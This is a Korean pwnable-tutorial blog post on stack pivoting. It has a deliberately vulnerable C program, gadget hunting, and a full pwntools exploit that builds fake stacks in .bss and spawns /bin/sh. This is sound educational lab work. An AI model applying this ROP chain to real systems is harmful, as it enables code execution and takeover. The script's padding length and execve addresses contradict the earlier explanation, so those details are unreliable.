Stack Pivoting

2025. 4. 2. 00:32· Hacking/Pwnable
목차
  1. Stack Pivoting
  2. 1. Stack Pivoting
  3. 2. leave ret
  4. 3. Exploit 과정
  5. 4. 예제 코드

Stack Pivoting


1. Stack Pivoting

1. Stack Pivoting ?

Stack pivoting 은 스택이 아니었던 공간을 스택처럼 사용하는 기법이다

→ 익스플로잇을 하기 위한 공간이 부족할 때 새로운 스택 영역을 확보할 수 있다

  • 여러 가젯들을 이용해 쓰기 가능한 공간에 Fake Stack 을 구성하고 Chaining 한다
  • 특정 영역에 값을 쓸 수 있거나 값이 있는 경우 SFP 를 조작하여 스택을 옮기고 해당 부분의 코드를 실행한다

 

2. 전제 조건

  • 페이로드를 쓸 수 있는 영역이 존재하고, RET 까지만 overflow 가 발생할 때
  • 페이로드를 쓸 수 있는 영역이 없고, 입력함수 + leave_ret 을 넣을 수 있을만큼 overflow 가 발생할 때

위의 두 경우 모두 가젯이 존재해야 한다

 

3. stack pivoting 이 필요한 경우

  • overflow 의 크기가 너무 작아서 ROP 체인을 다 담을 수 없는 경우
  • main 함수로 다시 돌아갈 수 없는 경우

 

 

2. leave ret

1. leave

함수의 마지막에는 leave 와 ret 명령이 있다

mov esp, ebp
pop ebp

leave 는 위와 같은 명령을 수행한다

 

leave 에서는 스택 포인터를 함수를 호출하기 이전의 주소로 되돌리는 작업을 한다

 

2. ret 

pop eip
jmp eip

ret 는 위와 같은 명령을 수행한다

 

3. Stack pivoting 에 사용되는 가젯

add esp, offset ; ret mov esp, register ; ret
sub esp, offset; ret

call register

push register; pop esp; ret

xchg register, esp ; ret
leave; ret

mov register, [ebp+0c]; call register

mov reg, dword ptr fs:[0]; ....; ret

stack pivoting 에 사용되는 가젯들이다

이 중에서도 보통 leave; ret; 가젯을 많이 사용한다

 

leave ; ret; 가젯을 사용해서 stack pivoting 을 할 때 스택을 살펴보자

 

 

3. Exploit 과정

1. 스택 상태

  • SFP 에 fake stack
  • RET 에 read@plt
  • 그 다음 leave; ret 가젯

위의 내용으로 스택을 구성한다

 

그 다음 에필로그에서 leave 명령이 수행된다

move esp, ebp

 

mov esp, ebp

mov esp, ebp 명령을 수행한 스택 상태이다 

다음으로 pop ebp 명령을 수행한다

 

pop ebp

pop ebp 명령이 수행되면 ebp 는 SFP 에 들어있던 fake stack 의 주소값로 이동한다

 

ret

그 다음 ret 명령이 수행되면 read 함수가 실행되어 fake stack 에 입력을 받게된다

 

mov esp, ebp

leave ; ret 가젯에서 

leave 명령이 수행된 스택 상태이다

mov esp, ebp 명령으로 인해 esp 가 fakestack 으로 이동하게 된다

 

pop ebp

pop ebp 명령을 수행하면 fakestack 에 넣어둔 fakestack2 로 이동하게 된다

 

read 함수 실행

그 다음 read 함수가 실행되면 fakestack2 에 입력받는다

 

mov esp, ebp

fakestack 의 leave 명령어가 수행되면 

esp 가 fakestack2 의 바닥으로 이동하게 된다

 

셸 획득

그 뒤 명령을 수행하면서 system("/bin/sh") 명령이 실행되고

셸을 얻을 수 있다

 

 

4. 예제 코드

1. 공격 순서

  • Fake stack 으로 사용할 공간을 찾는다 (주로 bss 영역임)
  • SFP 부분에 실행을 원하는 주소 - 8 의 주소를 넣는다
  • read() 함수를 RTL 로 호출하여 bss 영역에 입력값을 받도록 한다
  • 다음 실행할 명령의 주소에 leave_ret 가젯을 넣는다

 

2. C

// Name : pivot.c
// Compile : gcc -o pivot pivot.c -fno-stack-protector -z now -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

void tools(){
asm (
    "pop %r14;"
    "pop %r15;"
    "ret;"        
    "pop %rdx;"
    "ret;"
);
}

int main(void)
{
    char buf[0x30];

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    if (loop)
    {
        puts("bye");
        exit(-1);
    }
    loop = 1;

    read(0, buf, 0x70);

    return 0;
}

main 함수를 실행하면 loop 가 1로 바뀌게 되어 main 함수로 돌아올 수 없다

이 때 stack pivoting 을 이용하면 익스플로잇을 할 수 있다

 

[*] '/home/gunp4ng/project/SF/pivot/pivot'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

보호기법을 확인하면 Nx-bit, Full RELRO 가 적용된 것을 볼 수 있다

 

3. 어셈블리

Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   rbp
   0x000000000040119b <+5>:     mov    rbp,rsp
   0x000000000040119e <+8>:     sub    rsp,0x30
   0x00000000004011a2 <+12>:    mov    rax,QWORD PTR [rip+0x2e87]        # 0x404030 <stdin@GLIBC_2.2.5>
   0x00000000004011a9 <+19>:    mov    ecx,0x0
   0x00000000004011ae <+24>:    mov    edx,0x2
   0x00000000004011b3 <+29>:    mov    esi,0x0
   0x00000000004011b8 <+34>:    mov    rdi,rax
   0x00000000004011bb <+37>:    call   0x401090 <setvbuf@plt>
   0x00000000004011c0 <+42>:    mov    rax,QWORD PTR [rip+0x2e59]        # 0x404020 <stdout@GLIBC_2.2.5>
   0x00000000004011c7 <+49>:    mov    ecx,0x0
   0x00000000004011cc <+54>:    mov    edx,0x2
   0x00000000004011d1 <+59>:    mov    esi,0x0
   0x00000000004011d6 <+64>:    mov    rdi,rax
   0x00000000004011d9 <+67>:    call   0x401090 <setvbuf@plt>
   0x00000000004011de <+72>:    mov    rax,QWORD PTR [rip+0x2e5b]        # 0x404040 <stderr@GLIBC_2.2.5>
   0x00000000004011e5 <+79>:    mov    ecx,0x0
   0x00000000004011ea <+84>:    mov    edx,0x2
   0x00000000004011ef <+89>:    mov    esi,0x0
   0x00000000004011f4 <+94>:    mov    rdi,rax
   0x00000000004011f7 <+97>:    call   0x401090 <setvbuf@plt>
   0x00000000004011fc <+102>:   mov    eax,DWORD PTR [rip+0x2e4a]        # 0x40404c <loop>
   0x0000000000401202 <+108>:   test   eax,eax
   0x0000000000401204 <+110>:   je     0x40121f <main+137>
   0x0000000000401206 <+112>:   lea    rax,[rip+0xdf7]        # 0x402004
   0x000000000040120d <+119>:   mov    rdi,rax
   0x0000000000401210 <+122>:   call   0x401070 <puts@plt>
   0x0000000000401215 <+127>:   mov    edi,0xffffffff
   0x000000000040121a <+132>:   call   0x4010a0 <exit@plt>
   0x000000000040121f <+137>:   mov    DWORD PTR [rip+0x2e23],0x1        # 0x40404c <loop>
   0x0000000000401229 <+147>:   lea    rax,[rbp-0x30]
   0x000000000040122d <+151>:   mov    edx,0x70
   0x0000000000401232 <+156>:   mov    rsi,rax
   0x0000000000401235 <+159>:   mov    edi,0x0
   0x000000000040123a <+164>:   call   0x401080 <read@plt>
   0x000000000040123f <+169>:   mov    eax,0x0
   0x0000000000401244 <+174>:   leave
   0x0000000000401245 <+175>:   ret
End of assembler dump.
  • buf : rbp-0x30

buf 는 0x30 인 것을 알 수 있다

buf  48 만큼 입력하면 SFP + RET 를 덮어씌울 수 있다

 

4. 필요한 정보 구하기

  • leave ; ret 가젯
  • pop rdi pop rsi pop rdx 가젯
  • ret 가젯
  • pop rdx 가젯
  • /bin/sh 주소
  • execve 함수 주소

 

  • 먼저 leave; ret 가젯이다

leave ret

leave; ret 가젯의 주소는 0x401256 이다

 

  • pop rdi pop rsi pop rdx 가젯을 구하자

pop rdi 가젯이다

pop rdi

pop rdi 가젯의 주소는 0x4011a1 이다

 

pop rsi pop rdx 가젯을 구하자

pop rsi pop r15

pop rsi pop rdx 가젯은 없고 pop rsi pop r15 가젯이 존재한다

대체 가능하기 때문에 pop rsi pop r15 가젯을 사용한다

pop rsi pop r15 가젯의 주소는 0x40119f 이다

 

  • ret 가젯을 구하자

ret

ret  가젯의 주소는 0x40101a 이다

 

  • pop rdx 가젯을 구하자

pop rdx

pop rdx 가젯은 0x4011a3 이다

 

  • 다음은 "/bin/sh" 문자열을 구하자

/bin/sh

"/bin/sh" 문자열의 주소는 0x7ffff7f62678 이다

 

  • execve 함수의 주소를 구하자

execve

execve 함수의 주소는 0x7ffff7ddad70 이다

 

5. 페이로드 구성

payload = b'A' * 56
payload += p64(bss + 0x300)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(bss + 0x300)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
  • SFP 에 bss + 0x300 의 값을 넣는다
  • read 함수로 bss + 0x300 의 영역에 값을 받는다
  • leave ret 을 실행한다

왜 bss 영역에 바로 값을 쓰지 않고 bss + 0x300 영역부터 쓸까?

→ bss 영역은 전역 변수 공간이기 때문에 프로그램이 실행되는 동안 사용되는 영역이다

    따라서 프로그램의 다른 전역 변수와 충돌할 수 있기 때문에 bss + 0x300 fake stack 을 구성한다

 

# fake stack
# read(0, bss+0x400, 0)
payload = p64(bss + 0x400)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x400)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
  • bss + 0x400 의 주소를 rbp 에 넣는다
  • read(0, bss + 0x400, 0) rdx = 0x70
  • leave ret 가젯

이전 페이로드에서 read 함수 이후 leave ret 가젯이 오게 된다

지금 보내는 페이로드의 첫 번째 값이 rbp 값으로 바뀌게 된다

 

payload = p64(0)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(poprsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(ret)
payload += p64(execve)

leave ret 가젯에서 pop 을 하기 때문에 8byte 아래에 페이로드를 작성해야 한다

8byte 의 패딩을 넣고

rdx 가 0x70 이기 때문에 pop rdx 가젯을 이용해 NULL 로 만들어준다 

그 다음 execve("/bin/sh", NULL, NULL) 을 호출한다

 

전체 페이로드이다

from pwn import *

context.log_level = 'debug'

p = process('./pivot')
e = ELF('./pivot')
libc = e.libc

leave = 0x401256
poprdi = 0x4011a1
poprsi_r15 = 0x40119f
poprdx = 0x4011a3
ret = 0x40101a
binsh = 0x7ffff7f62678
execve = 0x7ffff7e75080

bss = e.bss()
read_plt = e.plt['read']

payload = b'A' * 0x30
payload += p64(bss + 0x300) # SFP
payload += p64(poprdi)      # RET
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x300)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)

p.send(payload)

# fake stack
# read(0, bss+0x400, 0)
payload = p64(bss + 0x400)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x400)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)

p.send(payload)

payload = p64(0)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(poprsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(ret)
payload += p64(execve)

p.send(payload)

p.interactive()

 

 

셸을 얻은 것을 확인할 수 있다

저작자표시 비영리 변경금지 (새창열림)

'Hacking > Pwnable' 카테고리의 다른 글

UAF (Use After Free)  (0) 2025.05.07
Heap - ptmalloc2 (glibc)  (0) 2025.04.03
SROP (x64)  (0) 2025.03.26
SROP (x86)  (0) 2025.03.25
OOB(Out of Bound)  (0) 2025.03.18
  1. Stack Pivoting
  2. 1. Stack Pivoting
  3. 2. leave ret
  4. 3. Exploit 과정
  5. 4. 예제 코드
'Hacking/Pwnable' 카테고리의 다른 글
  • UAF (Use After Free)
  • Heap - ptmalloc2 (glibc)
  • SROP (x64)
  • SROP (x86)
GunP4ng
GunP4ng
GunP4ngGunP4ng 님의 블로그입니다.
GunP4ng
GunP4ng
GunP4ng
전체
오늘
어제
  • 분류 전체보기 (104)
    • Hacking (31)
      • Pwnable (30)
      • Web (0)
      • Reversing (0)
      • Misc (1)
    • War Game (21)
      • Pwnable (21)
      • Web (0)
      • Misc (0)
    • pwnable.kr (0)
    • CTF (0)
    • Coding (48)
      • baekjoon (26)
      • C (22)
    • ETC (4)
      • Certificate (4)

블로그 메뉴

  • 홈
  • 태그
  • 방명록
  • 글쓰기

공지사항

인기 글

태그

  • x64
  • doublefreebug
  • x86
  • WarGame
  • srop
  • Use-After-Free
  • Tcache
  • return_to_library
  • got_overwrite
  • Dreamhack
  • tcache_dup
  • rtl_chaining
  • 함수
  • plt
  • C언어
  • PIE
  • 백준
  • DFB
  • 코딩도장
  • 포인터
  • 코딩
  • 메모리
  • 구조체
  • ROP
  • Got
  • BOF
  • shellcode
  • 스택
  • RTL
  • uaf

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.3.0
GunP4ng
Stack Pivoting
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.